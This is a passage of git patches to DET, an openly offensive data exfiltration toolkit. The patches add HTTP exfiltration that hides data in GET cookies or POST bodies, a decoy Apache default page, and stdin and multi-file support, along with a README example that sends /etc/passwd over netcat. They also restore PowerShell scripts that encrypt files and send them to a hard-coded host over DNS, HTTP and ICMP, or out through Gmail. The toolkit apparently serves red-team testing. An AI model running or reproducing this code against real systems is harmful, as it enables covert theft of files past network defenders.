self.headers.has_key('Cookie'): + cookie = self.headers['Cookie'] + string = cookie.split('=', 1)[1].strip() + try: + data = base64.b64decode(string) + self.server.handler(data) + except Exception, e: + print e + pass def send(data): if config.has_key('proxies') and config['proxies'] != [""]: @@ -43,15 +66,25 @@ def send(data): target = "http://{}:{}".format(config['target'], config['port']) app_exfiltrate.log_message( 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) - data_to_send = {'data': base64.b64encode(data)} - requests.post(target, data=data_to_send) + #Randomly choose between GET and POST + if choice([True, False]): + data_to_send = {'data': base64.b64encode(data)} + requests.post(target, data=data_to_send, headers=headers) + else: + cookies = dict(PHPSESSID=base64.b64encode(data)) + requests.get(target, cookies=cookies, headers=headers) def relay_http_request(data): target = "http://{}:{}".format(config['target'], config['port']) app_exfiltrate.log_message( 'info', "[proxy] [http] Relaying {0} bytes to {1}".format(len(data), target)) - data_to_send = {'data': base64.b64encode(data)} - requests.post(target, data=data_to_send) + #Randomly choose between GET and POST + if choice([True, False]): + data_to_send = {'data': base64.b64encode(data)} + requests.post(target, data=data_to_send, headers=headers) + else: + cookies = dict(PHPSESSID=base64.b64encode(data)) + requests.get(target, cookies=cookies, headers=headers) def server(data_handler): try: diff --git a/plugins/misc/default_apache_page.html b/plugins/misc/default_apache_page.html new file mode 100644 index 0000000..dc4b7c1 --- /dev/null +++ b/plugins/misc/default_apache_page.html @@ -0,0 +1,364 @@ + + + + Apache2 Debian Default Page: It works + + + +
+ + +
+ + +
+
+ It works! +
+
+

+ This is the default welcome page used to test the correct + operation of the Apache2 server after installation on Debian systems. + If you can read this page, it means that the Apache HTTP server installed at + this site is working properly. You should replace this file (located at + /var/www/html/index.html) before continuing to operate your HTTP server. +

+ + +

+ If you are a normal user of this web site and don't know what this page is + about, this probably means that the site is currently unavailable due to + maintenance. + If the problem persists, please contact the site's administrator. +

+ +
+
+
+ Configuration Overview +
+
+

+ Debian's Apache2 default configuration is different from the + upstream default configuration, and split into several files optimized for + interaction with Debian tools. The configuration system is + fully documented in + /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full + documentation. Documentation for the web server itself can be + found by accessing the manual if the apache2-doc + package was installed on this server. + +

+

+ The configuration layout for an Apache2 web server installation on Debian systems is as follows: +

+
/etc/apache2/
+|-- apache2.conf
+|       `--  ports.conf
+|-- mods-enabled
+|       |-- *.load
+|       `-- *.conf
+|-- conf-enabled
+|       `-- *.conf
+|-- sites-enabled
+|       `-- *.conf
+          
+
    +
  • + apache2.conf is the main configuration + file. It puts the pieces together by including all remaining configuration + files when starting up the web server. +
  • + +
  • + ports.conf is always included from the + main configuration file. It is used to determine the listening ports for + incoming connections, and this file can be customized anytime. +
  • + +
  • + Configuration files in the mods-enabled/, + conf-enabled/ and sites-enabled/ directories contain + particular configuration snippets which manage modules, global configuration + fragments, or virtual host configurations, respectively. +
  • + +
  • + They are activated by symlinking available + configuration files from their respective + *-available/ counterparts. These should be managed + by using our helpers + + a2enmod, + a2dismod, + + + a2ensite, + a2dissite, + + and + + a2enconf, + a2disconf + . See their respective man pages for detailed information. +
  • + +
  • + The binary is called apache2. Due to the use of + environment variables, in the default configuration, apache2 needs to be + started/stopped with /etc/init.d/apache2 or apache2ctl. + Calling /usr/bin/apache2 directly will not work with the + default configuration. +
  • +
+
+ +
+
+ Document Roots +
+ +
+

+ By default, Debian does not allow access through the web browser to + any file apart of those located in /var/www, + public_html + directories (when enabled) and /usr/share (for web + applications). If your site is using a web document root + located elsewhere (such as in /srv) you may need to whitelist your + document root directory in /etc/apache2/apache2.conf. +

+

+ The default Debian document root is /var/www/html. You + can make your own virtual hosts under /var/www. This is different + to previous releases which provides better security out of the box. +

+
+ +
+
+ Reporting Problems +
+
+

+ Please use the reportbug tool to report bugs in the + Apache2 package with Debian. However, check existing bug reports before reporting a new bug. +

+

+ Please report bugs specific to modules (such as PHP and others) + to respective packages, not to the web server itself. +

+
+ + + + +
+
+
+
+ + + + From b8530d63e16583da959778d1b653f4a2b6a749c3 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 30 Jun 2017 14:07:01 +0200 Subject: [PATCH 32/43] Change ambiguous variable name --- det.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/det.py b/det.py index 1b8f004..695f3de 100644 --- a/det.py +++ b/det.py @@ -183,7 +183,7 @@ def register_file(self, message): files[jobid]['checksum'] = message[3].lower() files[jobid]['filename'] = message[1].lower() files[jobid]['data'] = [] - files[jobid]['packets_number'] = [] + files[jobid]['packets_order'] = [] files[jobid]['packets_len'] = -1 warning("Register packet for file %s with checksum %s" % (files[jobid]['filename'], files[jobid]['checksum'])) @@ -194,8 +194,8 @@ def retrieve_file(self, jobid): filename = "%s.%s" % (fname.replace( os.path.pathsep, ''), time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime())) #Reorder packets before reassembling / ugly one-liner hack - files[jobid]['packets_number'], files[jobid]['data'] = \ - [list(x) for x in zip(*sorted(zip(files[jobid]['packets_number'], files[jobid]['data'])))] + files[jobid]['packets_order'], files[jobid]['data'] = \ + [list(x) for x in zip(*sorted(zip(files[jobid]['packets_order'], files[jobid]['data'])))] content = ''.join(str(v) for v in files[jobid]['data']).decode('hex') content = aes_decrypt(content, self.KEY) if COMPRESSION: @@ -232,9 +232,9 @@ def retrieve_data(self, data): # data packet else: # making sure there's a jobid for this file - if (jobid in files and message[1] not in files[jobid]['packets_number']): + if (jobid in files and message[1] not in files[jobid]['packets_order']): files[jobid]['data'].append(''.join(message[2:])) - files[jobid]['packets_number'].append(int(message[1])) + files[jobid]['packets_order'].append(int(message[1])) #In case this packet was the last missing one if files[jobid]['packets_len'] == len(files[jobid]['data']): self.retrieve_file(jobid) From 8e968b4d962431991f9a4381e140b45c0ab694d6 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Wed, 5 Jul 2017 13:53:48 +0200 Subject: [PATCH 33/43] Base64 encode payloads in ftp plugin --- plugins/ftp.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/plugins/ftp.py b/plugins/ftp.py index 0c6b588..0a03679 100644 --- a/plugins/ftp.py +++ b/plugins/ftp.py @@ -4,6 +4,7 @@ from pyftpdlib.servers import FTPServer from pyftpdlib.authorizers import DummyAuthorizer from random import choice +import base64 app_exfiltrate = None config = None @@ -17,7 +18,7 @@ def ftp_MKD(self, path): app_exfiltrate.log_message('info', "[ftp] Received MKDIR query from {}".format(self.addr)) data = str(path).split('/')[-1] if self.handler == "retrieve": - app_exfiltrate.retrieve_data(data) + app_exfiltrate.retrieve_data(base64.b64decode(data)) elif self.handler == "relay": relay_ftp_mkdir(data) # Recreate behavior of the original ftp_MKD function @@ -40,7 +41,7 @@ def send(data): pass try: - ftp.mkd(data) + ftp.mkd(base64.b64encode(data)) except: pass From fc9bf015743dc16d8f68bc0a428d7fa55dd34f04 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 6 Jul 2017 16:28:35 +0200 Subject: [PATCH 34/43] Add support for multiple (-f) files exfiltration --- det.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/det.py b/det.py index 695f3de..160c822 100644 --- a/det.py +++ b/det.py @@ -318,7 +318,7 @@ def main(): description='Data Exfiltration Toolkit (Conix-Security)') parser.add_argument('-c', action="store", dest="config", default=None, help="Configuration file (eg. '-c ./config-sample.json')") - parser.add_argument('-f', action="store", dest="file", + parser.add_argument('-f', action="append", dest="file", help="File to exfiltrate (eg. '-f /etc/passwd')") parser.add_argument('-d', action="store", dest="folder", help="Folder to exfiltrate (eg. '-d /etc/')") @@ -376,7 +376,7 @@ def main(): f in listdir(results.folder) if isfile(join(results.folder, f))] else: - files = [results.file] + files = results.file threads = [] for file_to_send in files: From 52158e685c0e1b9f45587ea784f403b84cda0343 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 6 Jul 2017 17:21:52 +0200 Subject: [PATCH 35/43] Add support for reading files from stdin --- det.py | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/det.py b/det.py index 160c822..03ea46c 100644 --- a/det.py +++ b/det.py @@ -15,6 +15,7 @@ from os.path import isfile, join from Crypto.Cipher import AES from zlib import compress, decompress +from cStringIO import StringIO if getattr(sys, 'frozen', False): os.chdir(sys._MEIPASS) @@ -92,11 +93,10 @@ def aes_decrypt(message, key=KEY): return None # Do a md5sum of the file -def md5(fname): +def md5(f): hash = hashlib.md5() - with open(fname) as f: - for chunk in iter(lambda: f.read(4096), ""): - hash.update(chunk) + for chunk in iter(lambda: f.read(4096), ""): + hash.update(chunk) return hash.hexdigest() @@ -203,7 +203,7 @@ def retrieve_file(self, jobid): f = open(filename, 'w') f.write(content) f.close() - if (files[jobid]['checksum'] == md5(filename)): + if (files[jobid]['checksum'] == md5(open(filename))): ok("File %s recovered" % (fname)) else: warning("File %s corrupt!" % (fname)) @@ -251,10 +251,22 @@ def __init__(self, exfiltrate, file_to_send): self.exfiltrate = exfiltrate self.jobid = ''.join(random.sample( string.ascii_letters + string.digits, 7)) - self.checksum = md5(file_to_send) + self.checksum = '0' self.daemon = True def run(self): + # checksum + if self.file_to_send == 'stdin': + file_content = sys.stdin.read() + buf = StringIO(file_content) + e = StringIO(file_content) + else: + file_content = open(self.file_to_send, 'rb').read() + buf = StringIO(file_content) + e = StringIO(file_content) + self.checksum = md5(buf) + del file_content + # registering packet plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin() ok("Using {0} as transport method".format(plugin_name)) @@ -270,7 +282,6 @@ def run(self): # sending the data f = tempfile.SpooledTemporaryFile() - e = open(self.file_to_send, 'rb') data = e.read() if COMPRESSION: data = compress(data) From d96017e136d909fde2d10fb6dbf606f1adb3bac2 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 6 Jul 2017 17:39:58 +0200 Subject: [PATCH 36/43] Update README --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index a1da1a8..ccce848 100644 --- a/README.md +++ b/README.md @@ -164,6 +164,18 @@ To load every plugin and exclude DNS: ```bash python det.py -c ./config.json -e dns -f /etc/passwd ``` +You can also listen for files from stdin (e.g output of a netcat listener): + +```bash +nc -lp 1337 | python det.py -c ./config.json -e http -f stdin +``` +Then send the file to netcat: + +```bash +nc $exfiltration_host 1337 -q 0 < /etc/passwd +``` +Don't forget netcat's `-q 0` option so that netcat quits once it has finished sending the file. + And in PowerShell (HTTP module): ```powershell From 5e4e5f95f882d4d0072317300001110a746eb653 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 6 Jul 2017 17:41:24 +0200 Subject: [PATCH 37/43] Remove duplicates when sending multiple files (-f) --- det.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/det.py b/det.py index 03ea46c..62c9985 100644 --- a/det.py +++ b/det.py @@ -387,7 +387,7 @@ def main(): f in listdir(results.folder) if isfile(join(results.folder, f))] else: - files = results.file + files = list(set(results.file)) threads = [] for file_to_send in files: From 12ee15836b6725107f1270ee1d68913809bfd828 Mon Sep 17 00:00:00 2001 From: Paul A Date: Sat, 12 Aug 2017 11:36:22 +0200 Subject: [PATCH 38/43] Modified the README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4e03aac..eba12d9 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.toolswatch.org/blackhat-arsenal-us-2016-archive/) +[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.blackhat.com/us-16/arsenal.html#det) DET (extensible) Data Exfiltration Toolkit ======= From 3613500cc20f1e8dfd5cde6488fdf5e427f018d0 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 9 Oct 2017 15:57:34 +0200 Subject: [PATCH 39/43] Update README - Restore credit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ccce848..0de47c3 100644 --- a/README.md +++ b/README.md @@ -112,7 +112,7 @@ python det.py -h usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE] [-L | -Z] -Data Exfiltration Toolkit (Conix-Security) +Data Exfiltration Toolkit (SensePost) optional arguments: -h, --help show this help message and exit From 27d694afd70f0afcaf5d8082bfa89b02f34ea221 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 9 Oct 2017 18:44:07 +0200 Subject: [PATCH 40/43] Update det.py - Restore credit --- det.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/det.py b/det.py index 62c9985..b67018c 100644 --- a/det.py +++ b/det.py @@ -326,7 +326,7 @@ def main(): global threads, config parser = argparse.ArgumentParser( - description='Data Exfiltration Toolkit (Conix-Security)') + description='Data Exfiltration Toolkit (SensePost)') parser.add_argument('-c', action="store", dest="config", default=None, help="Configuration file (eg. '-c ./config-sample.json')") parser.add_argument('-f', action="append", dest="file", From 6974b7305cab0a9f1e99383bc43854dc15f1741d Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 23 Oct 2017 12:39:50 +0200 Subject: [PATCH 41/43] Update README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0de47c3..1cf9270 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Slides are available [here](https://docs.google.com/presentation/d/11uk6d-xougn3 Clone the repo: ```bash -git clone https://github.com/conix-security/DET.git +git clone https://github.com/sensepost/DET.git ``` Then: From d5fe6c446762d0a2bd60230227766286ec3ad843 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 3 Nov 2017 13:34:13 +0100 Subject: [PATCH 42/43] Restore Powershell plugins --- powershell/dns.ps1 | 107 +++++++++++++++++++++++++++++++++++++++++++ powershell/gmail.ps1 | 89 +++++++++++++++++++++++++++++++++++ powershell/http.ps1 | 81 ++++++++++++++++++++++++++++++++ powershell/icmp.ps1 | 88 +++++++++++++++++++++++++++++++++++ 4 files changed, 365 insertions(+) create mode 100644 powershell/dns.ps1 create mode 100644 powershell/gmail.ps1 create mode 100644 powershell/http.ps1 create mode 100644 powershell/icmp.ps1 diff --git a/powershell/dns.ps1 b/powershell/dns.ps1 new file mode 100644 index 0000000..63d4366 --- /dev/null +++ b/powershell/dns.ps1 @@ -0,0 +1,107 @@ +function DNS-exfil +{ + param ([string] $file) + $server = '192.168.0.17' + $bytes = [System.IO.File]::ReadAllBytes($file) + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $bytes = AES $bytes + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $filename = Split-Path $file -leaf + param ([string] $file) + $server = '192.168.0.17' + $bytes = [System.IO.File]::ReadAllBytes($file) + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $data = [System.IO.File]::ReadAllBytes($file) + + $string = [System.BitConverter]::ToString($data); + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 50 + $id = 0 + # get the size of the file and split it + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-DNSRequest $server $data $jobid + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-DNSRequest $server $data $jobid + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-DNSRequest $server $data $jobid + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-DNSRequest $server $data $jobid +}; + +function Send-DNSRequest { + param ([string] $server, [string] $data, [string] $jobid) + $data = Convert-ToCHexString $data + $len = $data.Length; + $key = 'google.com' + #$split = Get-Random -minimum 1 -maximum 250; + $split = 66 - $len.Length - $key.Length; + # get the size of the file and split it + $repeat=[Math]::Floor($len/($split)); + $remainder=$len%$split; + if($remainder){ + $repeatr = $repeat + 1 + }; + + for($i=0; $i-lt$repeat; $i++){ + $str = $data.Substring($i*$Split,$Split); + $str = $jobid + $str + '.' + $key; + $q = nslookup -querytype=A $str $server -timeout=0.1; + }; + if($remainder){ + $str = $data.Substring($len-$remainder); + $str = $jobid + $str + '.' + $key; + $q = nslookup -querytype=A $str $server -timeout=0.1; + }; +}; + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/gmail.ps1 b/powershell/gmail.ps1 new file mode 100644 index 0000000..a4a44ec --- /dev/null +++ b/powershell/gmail.ps1 @@ -0,0 +1,89 @@ +function GMail-exfil +{ + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $bytes = AES $bytes + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 3000 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-GMail $data + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-GMail $data + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-GMail $data + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-GMail $data +}; + +function Send-GMail { + param ([string] $data) + $data = Base64 $data; + $From = "" + $To = "" + $SMTPServer = "smtp.gmail.com" + $SMTPPort = "587" + $Username = "" + $Password = '' + $subject = "det:toolkit" + $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort); + $smtp.EnableSSL = $true + $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password); + $smtp.Send($Username, $Username, $subject, $data); +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/http.ps1 b/powershell/http.ps1 new file mode 100644 index 0000000..4d2f08d --- /dev/null +++ b/powershell/http.ps1 @@ -0,0 +1,81 @@ +function Send-HTTPRequest { + param ([string] $data, [System.__ComObject] $IE) + $url = 'http://192.168.0.17:8080/'; + $data = Base64 $data; + $IE.navigate2($url+$data) + Start-Sleep -s 2; +}; + +function HTTP-exfil { + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $IE = new-object -com internetexplorer.application; + $data = [System.IO.File]::ReadAllBytes($file) + $data = AES $data + $string = [System.BitConverter]::ToString($data); + $string = $string -replace '-',''; + $filename = Split-Path $file -leaf + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 300 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-HTTPRequest $data $IE + for($i=0; $i-lt$repeat-1; $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-HTTPRequest $data $IE + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-HTTPRequest $data $IE + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-HTTPRequest $data $IE +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString { + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/icmp.ps1 b/powershell/icmp.ps1 new file mode 100644 index 0000000..5ccf002 --- /dev/null +++ b/powershell/icmp.ps1 @@ -0,0 +1,88 @@ +function Send-ICMPPacket { + param ([string] $data) + $data = Base64 $data; + $IPAddress = '192.168.0.17' + + $ICMPClient = New-Object System.Net.NetworkInformation.Ping + $PingOptions = New-Object System.Net.NetworkInformation.PingOptions + $PingOptions.DontFragment = $True + + $sendbytes = ([text.encoding]::ASCII).GetBytes($data) + $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null + Start-Sleep -s 1; +}; + +function ICMP-exfil +{ + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $data = [System.IO.File]::ReadAllBytes($file); + $data = AES $data + $string = [System.BitConverter]::ToString($data); + $string = $string -replace '-',''; + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 1000 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-ICMPPacket $data + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-ICMPPacket $data + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-ICMPPacket $data + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-ICMPPacket $data +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +}; \ No newline at end of file From 0feb60580c83a85923f809bf5d5ebbd32b44aacf Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Fri, 3 Nov 2017 13:36:50 +0100 Subject: [PATCH 43/43] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c7fbd91..908c80c 100644 --- a/README.md +++ b/README.md @@ -296,7 +296,7 @@ Some pretty cool references/credits to people I got inspired by with their proje # Contact/Contributing -You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec) (original author) or [@therealnisay](https://twitter.com/therealnisay) (maintainer of this repo). +You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec). Feel free if you want to contribute, clone, fork, submit your PR and so on. # License